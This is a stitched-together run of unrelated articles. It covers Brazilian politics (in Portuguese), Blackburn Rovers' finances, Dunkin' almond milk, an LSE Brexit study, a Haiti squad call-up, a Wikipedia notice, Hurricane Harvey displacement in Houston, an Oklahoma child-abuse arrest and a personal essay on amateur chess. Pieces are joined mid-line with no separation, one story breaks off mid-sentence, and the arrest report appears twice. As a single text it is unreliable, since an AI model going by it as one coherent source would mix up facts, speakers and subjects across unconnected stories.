Ricardo Gebrim, advogado e membro da direção nacional da Consulta Popular, que integra a Frente Brasil Popular, afirma, em entrevista nesta segunda (12) à Rádio Brasil Atual, que a situação do governo Temer deteriora rapidamente e deixa em aberto a possibilidade de acontecer o chamado “golpe dentro do golpe”, com a retirada do apoio político liderado pelo PSDB.
“As 43 menções feitas a Temer (na lista da Odebrecht) o fragiliza ainda mais. Entretanto, alguns setores começam a ensaiar o golpe dentro do golpe. Como nos aproximamos do final do ano, a partir do dia 2 de janeiro, se Temer renunciar ou sair do cargo, teremos eleições indiretas sendo realizadas pelo Congresso Nacional. Nós já vemos uma movimentação para consumar esse processo e manter o programa de governo golpista com outro representante político”, afirmou.
Segundo Gebrim, mesmo com os escândalos que envolvem Temer, a agenda do atual governo não perderá força. “As forças econômicas que patrocinaram o golpe estão coesas com as medidas econômicas do golpe. Elas estão disputando a representação política, mas há uma unidade para a aprovação do plano de governo, como a PEC 55 (que prevê congelamento dos gastos públicos por 20 anos).”
Para o membro da Frente Brasil Popular, a única saída para evitar mais retrocessos são as eleições diretas. Ele acredita que há condições para pressionar o Poder Legislativo e realizá-las. “A Frente Brasil Popular vem reiterando as Direitas Já, porque neste momento, as eleições indiretas vão configurar uma saída política sem a soberania popular já abalada com o impeachment da presidenta Dilma. As pessoas estão percebendo que houve um golpe, mas não para enfrentar o que elas reivindicavam na época, mas um golpe contra seus direitos, suas conquistas e impedir que o Brasil pudesse se desenvolver.”Blackburn Rovers have posted an annual pre-tax loss of £36.5m following their relegation from the Premier League in 2012 - compared with the £4.3m profit made a year earlier.
Their accounts reveal a £27.3m drop in turnover and a 136.1% wages-to-turnover ratio for the year ending June 2013.
They also show the club's net debt has risen from £24.5m to £54.5m.
"We can't keep these type of losses up. It is very, very difficult," said managing director Derek Shaw.
Rovers' returns Turnover - £26.9m
Wages and salaries - £36.6m
Loss - £36.5m
Net debt - £54.5
Wage-to-turnover ratio - 136.1%
Average attendance - 14,997
The Championship club, who were bought by Indian poultry giant Venky's in November 2010, recorded an operating loss of £24.3m before player trading after losing their top-flight status.
In an attempt to secure an immediate Premier League return Blackburn's 2012 summer signings included Jordan Rhodes for in the region of £8m, Leon Best, Danny Murphy and Dickson Etuhu, resulting in an £11.7m player trading loss.
"Moving from the Premier League to the Championship is very tough. It is a difficult balancing act because we still need to invest in the team in our attempts to get back to the Premier League," said Shaw.
"We spent a lot of money on new players trying to get promotion and we all know that did not work.
"We are making efforts but because certain players have gone there are compensation figures to pay. It will take quite a while to fully address."
The accounts show £23.2m of the reduction in turnover is related to a loss in income from the Premier league, while they have lost £1.1m in ticket sales with average league attendances dropping from 22,551 to 14,997.
New Financial Fair Play rules mean Championship clubs are permitted to make a loss of £8m this season, with those who fail to comply set to face sanctions from the Football League.
In the accounts statement, Shaw wrote: "Although promotion remains the key aim, achieving this while also trying to meet Financial Fair Play requirements will be a challenging task for all football clubs.
"Business risks identified include reduced income from parachute payments in 2014-15 and 2015-16 and the potential sanction from non compliance with the FFP rules."
Since relegation from the Premier League in 2012, Blackburn have had four permanent managers. They finished 17th in the Championship last season.September 4, 2014
by Compassion Over Killing Staff
Dunkin’ Donuts is the world’s largest coffee and baked goods chain with more than 7,500 locations throughout the United States, including its first Los Angeles location that opened during Labor Day weekend. Yet, it’s one of the only national coffee chains that hasn’t offered dairy-free milk to all customers – until now, thanks to your requests!
We’re so excited to share this We Love Dunkin’ campaign news with you:
Yesterday, Dunkin’ announced on its website — “You’ve Asked and We’ve Heard” – that the company is adding almond milk to its menu to “accommodate guests looking for a non-dairy alternative.”
Almond milk is now being offered in approximately 75% of its locations — look for the “AM” symbol on Dunkin’s Store Locator to sees if it’s available in near you.
Compassion Over Killing first started contacting Dunkin’ Donuts in 2008, highlighting the growing consumer interest in healthier and more humane options and asking the company to offer vegan items on its menu in response to this increasing demand. We then reached out to individual locations and successfully persuaded several of them to start offering soy milk.
Soon after, we launched our We Love Dunkin’ campaign website aimed at urging consumers across the country to let Dunkin’ know that a growing number of people are asking for meat-, egg-, and dairy-free options.
According to John Costello, Dunkin’ Brands’ President of Global Marketing and Innovation, “Over the past couple of years, based on an increasing number of customer requests, we began to explore options for expanding our menu with a non-dairy alternative to milk and cream. We believe adding Almond Breeze Almondmilk now gives our guests a unique and delicious new way to enjoy our famous coffee or lattes.”
This is good news for animals and consumers! Please visit our current campaign website — welovedunkin.com — or post a comment on Dunkin’s Facebook page to thank the company for adding this dairy-free option for coffee drinks while also encouraging them to consider adding a vegan donut to their menu next!Britain’s richer cities, particularly those in the south of England, will be hit hardest by Brexit, according to a study by the LSE’s Centre for Economic Performance (working with the Centre for Cities think tank). Henry G Overman writes that the local economic impact will be particularly apparent in areas with strong specialist service industries.
Our research (with Swati Dhingra and Stephen Machin) looks at the difference in predicted effects across all Local Authority Areas and across Primary Urban Areas under a ‘soft’ and a ‘hard’ Brexit scenario (the former involves zero tariffs, but increased non-tariff barriers with the EU, the latter involves non-zero tariffs and even higher non-tariff barriers). It also provides some initial analysis on whether these predicted impacts are likely to exacerbate or alleviate existing disparities, and looks at how the predicted economic impacts of Brexit correlate with voting patterns from the referendum.
The results show that every local authority area is predicted to see a fall in Gross Value Added (GVA) as a result of Brexit. The impacts are predicted to be more negative under ‘hard Brexit’ in every local authority area, as the increase in trade costs would be larger. Cities are predicted to see larger falls in GVA than non-urban areas in both scenarios. The average decrease in GVA under ‘soft Brexit’ is 1.2 per cent in cities compared to 1.1 per cent in non-urban local-authority areas, and 2.3 per cent compared to 2.0 per cent, respectively, under ‘hard Brexit’. There is less variation between cities compared to individual local authorities, however, as urban economies tend to have more diverse sectoral profiles.
The report also suggests that in both scenarios, it is richer cities – predominantly in the south of England – which will be hit hardest and most directly by Brexit. This reflects the fact that these cities specialise in financial and business services that are predicted to be hardest hit by the increase in tariff and non-tariff barriers that Brexit could bring. This pattern of results means that the predicted negative impacts are biggest for areas that tended to vote remain.
We aren’t yet able to model how those initial impacts will change as the economy adjusts. It’s quite possible that the places experiencing the biggest initial shock are not necessarily those that will experience the most negative effects once the economy has adjusted (we draw parallels with the financial crisis).
You can read more about all of these issues in the reports, so let me take the opportunity in this blog post to highlight my personal take on a few important issues:
These are predictions relative to trend (i.e. what would have happened if the UK had stayed in the EU).
We don’t take a stance on detailed institutional arrangements. Soft Brexit is ‘like a customs union’ – in that we assume zero tariff barriers and external tariff as now; but we take no position on changes in external tariff and who would decide on those.
The model estimates the medium to long run impact of changes in trade costs. We’re ignoring effects on innovation, immigration, inward investment, etc. We’re also ignoring adjustment. All of this should be clear from the report, but worth highlighting I think.
. We’re ignoring effects on innovation, immigration, inward investment, etc. We’re also ignoring adjustment. All of this should be clear from the report, but worth highlighting I think. Be careful on over interpreting the sector specific effects – particularly for industries like oil and air services where non-trade factors matter more. The technical paper has some discussion of the issues.
The findings in which I have the most confidence are the general trends (1) bigger negative effects for areas specialised in services (setting aside any concerns about the exact sectoral predictions, we know non-tariff barriers and substitution away from UK supply will matter a lot for those sectors); (2) general north south pattern given those sectoral impacts; (3) correlation with vote remain (those predicted to be hardest hit voted to stay); (4) correlation with median wages (rich places hit worse); (5) once the economy adjusts things could look quite different.
I would avoid getting too hung up on exact rankings. These will change as analysis is refined, other factors added in, etc. (I realise that nothing I say here will stop people from doing this).
Table: Most and least affected local authorities (% Change in Gross Value Added)
Source: CEP, 2017.
The figures in this paper represent a first attempt to look at the Local Authority impacts of the increases in trade barriers associated with Brexit. Further work will be needed to better understand these impacts, to understand the impacts working through other channels, such as migration and investment, and to understand the longer run impacts as the economy adjusts. In short, these figures are far from the last word, but they do provide an initial indication of the way in which the impact of Brexit may be felt differently across the areas of Great Britain.
This post represents the views of the author and not those of the Brexit blog, nor the LSE. A version of this article originally appeared at the blog of the Spatial Economics Research Centre (LSE) and at LSE EUROPP. You can read the full Centre for Economic Performance study here and a less technical Centre for City piece here.
Henry G Overman is Professor of Economic Geography at the LSE.Sporting Kansas City defender Mechack Jerome and midfielder Peterson Joseph have been selected to the Haiti Men’s National Team, the club announced on Monday. Haiti will play a pair of international friendlies against the last two FIFA World Cup champions with matches against Spain on June 8 at Sun Life Stadium in Miami Gardens, Fla. and against Italy on June 12 at Estadio do Maracana in Rio de Janeiro, Brazil.
Jerome has appeared in seven games for Sporting Kansas City since being signed prior to the 2013 MLS season. The 23-year-old right back has contributed to four shutouts in five starts this season
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Wiki message delivery (talk) 02:15, 4 February 2019 (UTC)
Talk pages consultation 2019 [ edit ]
The Wikimedia Foundation has invited the various Wikimedia communities, including the English Wikipedia, to participate in a consultation on improving communication methods within the Wikimedia projects. As such, a request for comment has been created at Wikipedia:Talk pages consultation 2019. You are invited to express your views in the discussion. ~ Winged BladesGodric 05:15, 24 February 2019 (UTC)The devastation was swift, and the recovery is far from over. Sign up for our ongoing coverage of Hurricane Harvey's aftermath. You can help by sharing your story here or sending a tip to [email protected]. More in this series
Almost three months have passed since Yashica Foster watched her Houston townhome flooded by Hurricane Harvey on TV. Foster, her husband Raymond and their three kids had rushed out in time to escape the 17 feet of water that ultimately invaded the complex.
But the deluge forced the family apart: while the parents and their oldest daughter are staying in two hotel rooms at the Greenspoint Marriott — funded through the Federal Emergency Management Agency — their 19-year-old son is living with a friend and their 15-year-old daughter is with family members so they can be close to their schools.
Being displaced has scrambled the family's routine — they eat their meals at Foster’s mother’s house, seven miles from the hotel — and like thousands of others, they’re facing changing deadlines for finding new housing. They had already started looking for a place after FEMA announced it would end the hotel program on Nov. 27, then last week the agency extended the deadline to Jan. 16.
"I'm grateful, but I hate it," Foster said.
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Twenty-two miles south, in Houston's Montrose neighborhood, Maria Keene made a decision she now regrets. A few days after a boat rescued Keene, her husband and their two children from Harvey's rising floodwaters, she clicked "confirm" on a 9-month lease for a luxury condo. Given the high demand after Harvey, she thought waiting would make it harder to find a good rental option – the condo didn't require a security deposit and would accept her dog, Harry.
"I was thinking 'It's gonna be so crowded, we're never gonna get an apartment,'" she said."You go into panic mode."
Keene assumed her flood insurance would cover the rent, like it did during Tropical Storm Allison 16 years earlier, but she was wrong. Her family is now paying $4,700 in rent on top of their mortgage and still face house repairs not covered by their insurance.
Foster and her family are among the more than 47,000 people still living in hotels paid for by FEMA, while Keene is among the more than 90,000 people who have filed insurance claims through the National Flood Insurance Program, also managed by FEMA.
But the number of Texans who need help with housing is likely much higher. Neither FEMA nor the state of Texas know exactly how many homes were damaged by Harvey or how many residents remain scattered around the state, living with family or friends, in hotel rooms, in rentals, or even in their cars.
With their routines disrupted, thousands of renters and homeowners now face a harrowing path to a permanent housing solution. For many, the long process of waiting for insurance inspections, government assistance and home repairs is just getting started.
Many could be stuck in temporary housing for months or years. After Hurricane Katrina, for example, some New Orleans residents were still living in FEMA trailers six years after the city flooded.
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"Where do we start?"
Foster, 38, has spent her days jumping back and forth from the hotel where she works as a housekeeper to the FEMA-funded hotel room where she's now living. It feels weird and uncomfortable, she says, but the worst part is that two of her three children are not there.
Every day she and her husband, who drives a delivery truck, wake up at 5:45 a.m. to start an 86-mile journey to pick up and drop off each family member at school or work. At the end of the day, when each of them goes their separate ways, she’s heartbroken.
"We used to have time for each other," she said. "We don't have that anymore because our days are constantly spent driving around and getting to what we have to get to."
Transportation is only one of the problems that many people living in hotels after Harvey must face, said John Henneberger, co-director of the Texas Low Income Housing Information Service, an Austin-based nonprofit that researches housing solutions for low-income people.
"You have no kitchen, you have very little privacy, you almost inevitably will be overcrowded, meals cost more because you can't cook, your personal possessions are maybe in some storage, in your car, or piled up in the hotel room," Henneberger said.
Keeping people in hotels is "a horrible solution" that should only be used immediately after a disaster, he said.
The Fosters have been at the Greenspoint Marriott for almost a month. A lavender candle burns on the night stand, a bouquet of red and yellow roses sits is in front of the TV, and the top of the mini-bar is packed with snacks. On the floor sits the carry-on sized suitcase they packed in a rush as the floodwaters rose.
Yashica Foster knew it was time to go when the water reached her ankles. She can't swim. They grabbed an old photo album and some clothes and rushed out of their townhouse.
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It was the right call. Harvey’s floodwaters swallowed the entire first floor and most of the second floor of the townhome, making the whole structure unstable. “The whole time, all they kept showing was our townhomes on the news, covered in water,” Foster remembers.
The family lost almost everything they owned and the townhome will soon be torn down.
FEMA gave the Fosters vouchers for two hotel rooms, plus $500 for immediate needs. Their application for property damage assistance is still pending.
The couple, who were highschool sweethearts, spent years building a life for their family. "All of our stuff was paid for," Foster said. "Where do we go, where do we start? All over again..."
The Fosters are now saving up for a security deposit so they can sign a lease at a new apartment before Christmas, but Foster is worried their applications will get denied because their income is not high enough.
FEMA has extended the hotel program multiple times, but for disaster victims, watching the next deadline approach as they’re still waiting to find a new apartment or get their flooded homes repaired can add more anxiety to an already stressful situation.
"Families are scrambling to find a place to live because they think that the hotel vouchers are going away, so many of them leave, go sleep in their cars, double up in couches or go back to their homes, even if they are not in a habitable condition," said Sarah Mickelson, director of public policy at the National Low Income Housing Coalition, an affordable housing advocacy group.
In addition to the hotel voucher program, FEMA has also provided rental assistance for one or more months to almost 134,000 Texans displaced by Harvey.
The Texas General Land Office is responsible for FEMA-funded short- and long-term housing alternatives for Harvey victims, including mobile homes, grants for home repairs and a direct leasing program in which local governments sign leases on behalf of Harvey victims.
Anyone who applied for immediate assistance through FEMA will automatically be considered for these programs. FEMA officials said they don’t have a full accounting of how many people have actually received help, since most of the programs are in "implementation stage." The GLO said 176 families are living in mobile homes and more than 800 people have become eligible to receive home repair grants, though only one home has been repaired so far.
The GLO is also seeking property owners to participate in the Multi-Family Lease and Repair program, which pays for repairs on apartment complexes "in order to provide more housing for survivors," according to the program's website.
Mickelson said this program could help displaced, low-income renters, but the agencies still haven't answered basic questions, such as who is eligible and for how long people will receive assistance.
"The program isn't up and running yet," she said.
Maria Keene in the high rise apartment she and her husband and two daughters have rented in Houston on Oct. 26, 2017. Michael Stravato for The Texas Tribune
"I feel like I'm in limbo right now."
For homeowners, the situation is also complicated.
Keene's house in Braeswood Place is completely gutted, the flooring and parts of the walls ripped off. As she steps in, Keene, 51, offers a tour: "This is the living room, this is the kitchen..."
Then she comes back to reality. "It was pretty," she said. "It's depressing to see the damage. You look around and it's yucky. It's gross."
Two and a half feet of Harvey's toxic floodwaters washed away all the custom-made furniture that saw 17 years worth of birthday parties, Halloweens and Thanksgivings. What's left sits in the backyard, where boxes are crammed with trash, memories and memories-turned-trash – a McDonald's quarter pounder box is mixed in with a self-portrait that Keene's 14-year-old daughter Sarah drew in kindergarten.
As she walks around the skeleton of her house, Keene fetches the mail, checks the kitchen's bulletin board for any forgotten notes – "We have to pay this," she says when she finds an old bill – and picks up some notes from friends that her eldest daughter Gabrielle had attached to the wall in her room. She's determined to build back the family's normality, bit by bit, while her husband Andy, 60, returns to work at his dental practice.
Keene filed a flood insurance claim weeks ago and an adjustor has already been to her house to evaluate the damage, but she still hasn't received an estimate of how much of the damage her insurance company will cover. Without that information, her family can't decide whether to remodel, rebuild or sell.
"I feel like I'm in limbo right now," she said.
Still, Keene doesn't want to waste time. She is already meeting with builders to get estimates and evaluate her possibilities.
Remodelling would take one or two years – during which the family would still have to pay rent – and nothing guarantees that another flood wouldn't damage the house again. Rebuilding an elevated house would be a safer but much more expensive solution. The first option would cost between $250,000 and $330,000,and the second could cost as much as $900,000, Keene said. They could also buy a townhome or rent an apartment and sell the house for less than what they paid for it.
"At the end of the day, those are not good options," she said. "You just know you're getting scammed."
Rebuilding is going to be a long process for a lot of people, according to Scott Norman, executive director of the Texas Association of Builders. Thousands of people need to repair their homes and contractors are booked for months, if not years.
"Some remodelers in Houston mentioned a one to two year wait list," Norman said. "Even if you have the funds available, there is a shortage of workers and shortage of contractors to do the work."
The association estimates that the Texas building market was short 250,000 workers before the storm. Harvey might have added the need for another 100,000 workers. Norman estimates that in greater Houston, the demand for new homes has doubled to around 54,000 new homes in 2017, and that doesn't count households that have to be renovated because of flood damage.
Wages and material costs are also going up due to the high demand, he said.
"So you're going to have to wait, and that's the most frustrating thing of all because people want to get their homes back together so they can get their lives back to normal, without having to live out of a suitcase, or staying with friends or family, or in temporary housing," Norman said.
Keene and her husband had already started thinking about retiring. But with their housing situation in flux and Gabrielle about to start college, nothing’s certain now.
"In 10 years we would've paid our mortgage. Just the thought of another debt … or will [rebuilding] be an investment and we're gonna be okay? We don't know." she said.
"It's hard when a disaster pushes you to make these huge decisions."
Support for this reporting was provided by the Fund for Investigative Journalism.A 31-year-old Oklahoma City woman was arrested Saturday after she was accused of committing lewd acts with several children.A tipster told police that "a lady down the street has been touching little boys," according to a police report. Officers responded to the call in the 11900 block of Rose Street, where a woman reported that Rachel Hyams had been sleeping with two children, ages 14 and 15.One of the victims told police that he and his friends "had been messing around with Hyams" and that six boys had been inappropriately touched, police said.When asked about the boys' stories, Hyams said, 'Yeah, it's true," according to the report. She was booked into the Oklahoma County Jail on two complaints of making lewd or indecent proposals to a child under 16.
A 31-year-old Oklahoma City woman was arrested Saturday after she was accused of committing lewd acts with several children.
A tipster told police that "a lady down the street has been touching little boys," according to a police report. Officers responded to the call in the 11900 block of Rose Street, where a woman reported that Rachel Hyams had been sleeping with two children, ages 14 and 15.
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One of the victims told police that he and his friends "had been messing around with Hyams" and that six boys had been inappropriately touched, police said.
When asked about the boys' stories, Hyams said, 'Yeah, it's true," according to the report. She was booked into the Oklahoma County Jail on two complaints of making lewd or indecent proposals to a child under 16.
AlertMeI was probably the most average chess player in the world. But there came a point where being average was no longer enough. I had become good enough to know how bad I was. I was attached to two clubs in south-west London, Surbiton and Kingston, and was mixing with players who were very good, who had international master titles, one notch below the coveted grandmaster title. I wanted to be like them. I wanted to feel at home on the 64 squares.
I was a middle-aged man who had done OK in life, but there was something missing. I hadn’t created anything substantial; hadn’t mastered a discipline. I craved substance, and saw in chess a possible way of laying down a marker. I would become an expert, demonstrate that I wasn’t just a dilettante. After a lifetime of chess mediocrity, I set out to achieve excellence, for the first time in my life to truly master a world, to become good – not just good at chess, but at living. To get really expert I would have to be focused, disciplined, ruthless even – all the things I had found it difficult to sustain in an often rackety life.
Truth, beauty and the art of success at chess | Letters Read more
My intermittent love affair with chess began when I was 11. I was certainly no prodigy. For one thing, I started too late – some 11-year-olds are virtually grandmaster standard. I was OK but, as with most other things in my life, didn’t work hard enough at the game. I wanted instant brilliancies; refused to do the slog of reading books, and saw chess as an art not a science. I had a friend who saw it as a science not an art, read books on opening theory, and always beat me. I played for my school, and had a decent record, but what I mainly remember is that we always got biscuits and orange juice before each match. Schools admired boys who played chess. Unlike the girls at the school, who tended to favour rugby players.
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As part of my quest, I thought it might make for a poetic experience to return to Newport, the place of my birth, to play in the South Wales summer congress. I was staying with my parents, who acted as if the intervening 38 years had never happened, making me sandwiches and giving me a Thermos flask of tea to see me through the rigours of the day. My first game was on Saturday morning. My opponent had a relatively low grade (grades in chess are not unlike golf handicaps, and designate how good players are: the top-rated player in the UK has a grade of around 280, mine was around 133) and he played like it, giving up a pawn for nothing in the opening, and then losing a piece. The game was effectively over, and it irritated me that he insisted on playing on. I don’t know if it was boredom, fury, tiredness or simple incompetence but, as we approached the endgame, I committed the mother of all mistakes, blundering away a rook.
He was in a position where he could endlessly check my king with his queen if he wished. He offered me a draw, trying to mask his relief and disbelief at the mistake that I had made, and I had to accept. I had thrown away an easy win and felt ridiculous. I fled the tournament hall, sat beside the murky waters of the River Usk, bolted my sandwiches, and tried not to burst into tears. This was the most abject failure I had yet had to endure, and it would be difficult to recover. So much for the poetry of my return to Wales.
I fled the hall, sat beside the murky waters of the River Usk, bolted my sandwiches, and tried not to burst into tears
In the middle of one of my later games at the Newport congress, I suddenly asked myself whether I was really enjoying playing. I had the same thought as I watched the deciding game in my section, in which a 17-year-old was playing a crop-haired, middle-aged man to decide who would take first place. Both were down to their last few seconds, the youngster was shaking, and almost every move they made was an error, a rook mislaid here, a bishop casually tossed away there. Eventually the crop-haired man lost on time – in tournament chess, moves have to be made in a set time limit – and the 17-year-old had his prize. But the youth looked drained, shell-shocked, incapable of feeling any pleasure at his victory. Why did we put ourselves through this?
I had had similar doubts after that earlier game in Newport when I had thrown away a rook with what may have been the most ridiculous move in the history of chess. Why was I here making a fool of myself? What was the point? John Saunders, a former Welsh international, was giving me occasional coaching as I tried to crack the chess code. But he was also good at offering homilies. “Playing chess is a vale of tears,” he said during one of our training sessions as we examined an especially egregious, error-riddled game I had played. “This teaches us a very valuable lesson. It doesn’t matter what you do, how you play or how you change your approach to the game. Chess is just a bitch that bites you in the arse.”
Saunders was expressing, albeit less elegantly, a view propounded by HG Wells in an essay entitled Concerning Chess in 1901. “The passion for playing chess is one of the most unaccountable in the world,” wrote Wells, who at times shared that passion but never appears to have become very adept at the game. “It is the most absorbing of occupations, the least satisfying of desires, an aimless excrescence upon life. It annihilates a man.”
Does the pain always outweigh the pleasure? Siegbert Tarrasch, the best player in the world (though never world champion) in the 1890s, thought not. “Chess, like love, like music, has the power to make men happy,” he wrote in the preface to his book The Game of Chess, published in 1931, three years before his death. But is that really true? A blog by the English grandmaster Danny Gormally encapsulated the nightmares chess can induce. “I played a game a couple of days ago where I lost from a rook up,” wrote Gormally. “At the end of the game I completely lost my rag and started screaming, which was quite embarrassing in hindsight. Really I was angry at myself. Other players in the tournament, including my opponent, saw this meltdown and must have thought, ‘What a nutter’. Increasingly I’m suffering from poor emotional control. You’d think I’d get calmer as I get older, but at times I even feel I’m teetering on the brink of madness.”
The Dutch grandmaster Hein Donner also captured the pain and paranoia that chess can induce. Writing about the great world championship match in 1972 between Bobby Fischer and Boris Spassky, and the beginnings of Spassky’s disintegration, he poured scorn on the idea that chess was one of the least demanding of pursuits. “What comes dramatically to the fore in this match,” he wrote, “is that chess is a tough sport. What seems so easy at first sight in fact puts a greater pressure on the players than any other branch of (physical) sports. To sit immovably still for five hours on end, in a condition of semi-consciousness, under the heavy burden of a possible mistake – all this opens the door wide to serious distress.”
Facebook Twitter Pinterest Bobby Fischer, right, and Boris Spassky contest the world championship in Reykjavik, Iceland, in 1972. Photograph: J. Walter Green/AP
A chess win offers a high that is almost sexual – that moment of release after sitting at the board for four hours plus. But do the highs make up for the lows? John Saunders, my chess coach, didn’t think so. “The pain of defeat is greater than the joy of victory, at least for a pessimist like me,” he insisted, which may be one reason why he retired from competitive play in his late 40s to concentrate on writing about the game. He found it even harder to derive satisfaction from playing once computer chess programs, now available to everyone, became all-seeing and able to spot flaws even in games you thought you had won well.
Why do we put ourselves through it? It seemed to be a question that concerned amateurs more than the pros, who had played since they were five and for whom it had become a way of life, as natural as breathing. Some eulogised upon the game’s beauty and heritage, but for most it was enough that they excelled at it.
David Spanier, another journalist (and hapless amateur) who fell in love with chess and wrote a book about it 30 years ago, had a simple explanation for the game’s enduring appeal: “Chess is a substitute for life itself... Over the board all the dramas and colours of living are continually being played out in imagination. [It has] something like the effect of a gently powerful, pervasively consuming, hallucinatory drug.” Robert Desjarlais, a chess-loving American anthropologist, also uses the analogy of drug addiction in his book Counterplay: “Just as the chemical properties of heroin directly and immediately affect the central nervous system, so chess can lock into certain pathways of the mind, and it doesn’t easily let go.”
Desjarlais, though, doesn’t stop there. He examines this peculiar passion, the reasons we become addicted. “For some, chess is a hobby picked up along the way,” he writes, “while for others it’s a cathedral of truth and beauty. The attractions often relate to the drama that each game promises, the competitive challenge in pitting one’s skills against another’s, the intricate complexity that comes with any chess position, the rewarding intellectual conversation that takes place between two minds during a game, how focused concentration can take a person into a domain of pure thought removed from the hassles of everyday life, the way chess enables people to know their mind better, the pleasures of learning and participating in the conceptual history of modern chess, the camaraderie to be found at chess clubs, the thrill of accomplishing something creative at the board, and the way in which truth and beauty – and perhaps a measure of wisdom – can be found in chess.”
I liked that truth and beauty came at the end of Desjarlais’s list. When I set out on my mission, I wanted to grasp the truth of a position and create something beautiful. But as I played in more and more tournaments, I just wanted to win: to beat my opponent and improve my grade. Of course one does that by understanding more about chess, by becoming more adept at analysing positions, by getting closer to their mystical “truth”. But I had also come to see that strength of character, calmness under pressure, the sheer will to win were just as important. Maybe even more important at the amateur level, where errors abound. “The winner of the game is the player who makes the next-to-last mistake,” said Savielly Tartakower, a Polish grandmaster from the first half of the 20th century and the game’s greatest aphorist. Kill or be killed. To hell with truth.
The romantics would disagree. In the early decades of the 20th century, chess was seen as a beautiful, rarefied pursuit akin to philosophy and the arts. The French artist Marcel Duchamp loved the game so much there were rumours that he planned to forgo art to concentrate on chess. “While all artists are not chess players,” he said, “all chess players are artists.”
Duchamp was an excellent player, good enough to play for France in chess olympiads and to get a draw in a tournament in 1929 against Tartakower, a result that pleased him so much that he framed his scoresheet. There is, though, a conflict at the heart of chess, one that even Duchamp, who did not disguise the inherent violence of the game, recognised. Chess aspires to the condition of art, with beautiful ideas and aesthetically pleasing tactical combinations, but it is also a base struggle to destroy the other player.
Facebook Twitter Pinterest Marcel Duchamp: ‘While all artists are not chess players,” he said, “all chess players are artists.’ Photograph: Eliot Elisofon/Time & Life Pictures/Getty Image
Hein Donner addressed the question of whether chess was a profound endeavour or a complete waste of time in a newspaper column published in 1959. He imagined world champions, once they had reached the summit, asking themselves: “What purpose has all this energy served? Has there been a point in all this strenuous effort?” He went on to dismiss the then world champion Mikhail Botvinnik’s rationalisation of chess as a branch of art. “A chess player produces nothing, creates nothing,” argued Donner. “He only has one aim: the destruction of his opponent. This may be done in a very artistic way. But there is something strange about those perfect games in which deep strategies or brilliant combinations secure victory. They are published all over the world and are included in textbooks, these games that are ‘all of a piece’, but in fact they are not chess games at all, they are monologues. A real chess game can only be experienced by two people. Nothing can be said about it. Nothing comes of it.”
According to Donner: “The whole point of the game [is] to prevent an artistic performance.” The former world champion Garry Kasparov makes the same point. “The highest art of the chess player,” he says, “lies in not allowing your opponent to show you what he can do.” Always the other player is there trying to wreck your masterpiece. Chess, Donner insists, is a struggle, a fight to the death. “When one of the two players has imposed his will on the other and can at last begin to be freely creative, the game is over. That is the moment when, among masters, the opponent resigns. That is why chess is not art. No, chess cannot be compared with anything. Many things can be compared with chess, but chess is only chess.”
Did I want to win at all costs, or was I trying to serve some higher calling? My view oscillated wildly during the course of my odyssey. Occasionally I did experience the joy of trying to capture the truth – I remember one out-of-body experience in a tournament at Hastings where time seemed to freeze and nothing else mattered but burying myself in the position in front of me, questioning its meaning, divining what it really meant. But at other times, I didn’t give a damn about the meaning – or, indeed, the means. All that mattered was the end of beating my opponent, crushing him into the dust.
A year or so into my three-year mission, I was in one of my “truth and beauty” periods. Treat chess with respect, play for the right reasons and glory will follow. Inevitably, in my next game, it didn’t work out that way. I had agreed to play a game for Kingston, one of my two league teams, against Redhill. I’d been playing for Kingston in a desultory way for several years without ever really feeling attached to the club.
Whereas my other club, Surbiton, met in the congenial surroundings of a large, rambling detached house that doubled as a day centre for the elderly and was doing well, Kingston stumbled from crisis to crisis. It was short of players and, having been evicted from a Quaker hall that was being redeveloped, now had no real home and was forced to resort to an Asda in Roehampton – a world away from the chandeliered Viennese cafes in which chess had flourished in the early part of the 20th century. The romantic in me hankered after that golden-age ambience, and Kingston’s plight seemed to sum up the decline of chess since it had been front-page news in the Fischer era.
These little London clubs – replicated in towns all over the UK, where chess aficionados meet in the back rooms of pubs and social clubs – are hangovers from a time when the game was thriving. Back then, there was little else to do, and men – it was invariably men – were looking for a way to fill dark winter evenings. Chess, like fishing and pigeon fancying, is a great form of structured time-wasting.
Kingston had 15 or so regular players, all but one of whom were men. Mostly, they were past 50 and had played chess all their lives. They had grown up in that postwar period when it was part of their school life, and the game had then become an integral part of their adulthood too. Even the ones who took breaks to marry and have children, as I had, eventually came back. Chess had them for life, and for some the board was their world, perhaps even their salvation.
We were playing in Asda’s cafe, thankfully closed to the paying public – the clatter of cups and a gawping audience would have been an indignity too far. I was up against a player graded 160 who annoyed me with his habit of invading my space by stretching his legs out under the table. He played slowly and fell hopelessly behind on time. I was gradually building a better position and had a huge time advantage, so as we neared the time control – we each had to play our first 35 moves in an hour and a quarter – I felt it was inevitable I would win. Shades of Newport, and another demonstration of Donner’s adage that the position he hated most was one that was “totally winning”.
Foolishly, I forgot this sage observation and just waited for my opponent to crumble. But as the time control approached, he started to speed up, banging his hand down on his clock and stopping recording his moves, as is sometimes allowed when you have less than five minutes left. I was still playing at a leisurely speed, convinced I had more than enough time to secure victory. My advantage was getting bigger, and I felt sure he would resign at any moment. But he didn’t resign: he carried on, played ever wilder moves and set me a series of problems that ate into my time. I lost control of the position and, worse, lost track of how long I had left, so that the flag on my clock fell as I was about to make my 35th move. I had lost on time – a game I had spent the past hour believing I had won. He had somehow made 10 moves in a minute and suckered me into defeat. I was devastated, hardly able to speak or think coherently.
The chess world championship was taking place when I played this appalling game. The young Norwegian Magnus Carlsen was giving the reigning champion Viswanathan Anand a beating, and the latter had just lost a crucial game with a terrible blunder that virtually guaranteed Carlsen would become the title holder – at 22 the joint youngest player, along with Garry Kasparov, to become world champion. After Anand’s defeat, grandmaster and former British champion Jonathan Rowson tweeted: “Just as men will never ‘get’ what it feels like to give birth, non-chess players will never know the unique torment and anguish that flow from such a defeat.”
Facebook Twitter Pinterest Magnus Carlsen, right, playing Vishwanath Anand in the world chess championship in 2013. Photograph: Manjunath Kiran/AFP/Getty Images
Rowson had summed up precisely the way I felt after losing the Asda game. I believed that somehow I had been cheated. I deserved to win that game. My opponent may have been nominally a 160, but I had played the better chess. Natural justice demanded that I should be the victor. I wanted to make some sort of protest. Did he stop recording his moves too soon? Did the five-minute rule really apply in these circumstances? Should we have made an effort to reconstruct the game afterwards – neither of us was scoring by the end – rather than offering a frosty (on my part) handshake and disappearing into the night?
I made myself look ridiculous by moaning about the injustice to anyone who would listen. I should have taken it on the chin, but I seemed incapable of doing so. I had a terrible, sleepless 24 hours, until gradually some sort of sanity reasserted itself. A few days after my defeat, while commentating on a rugby match in which Wales once again fell short against South Africa, the former England hooker Brian Moore said: “In sport you don’t get what you deserve.”
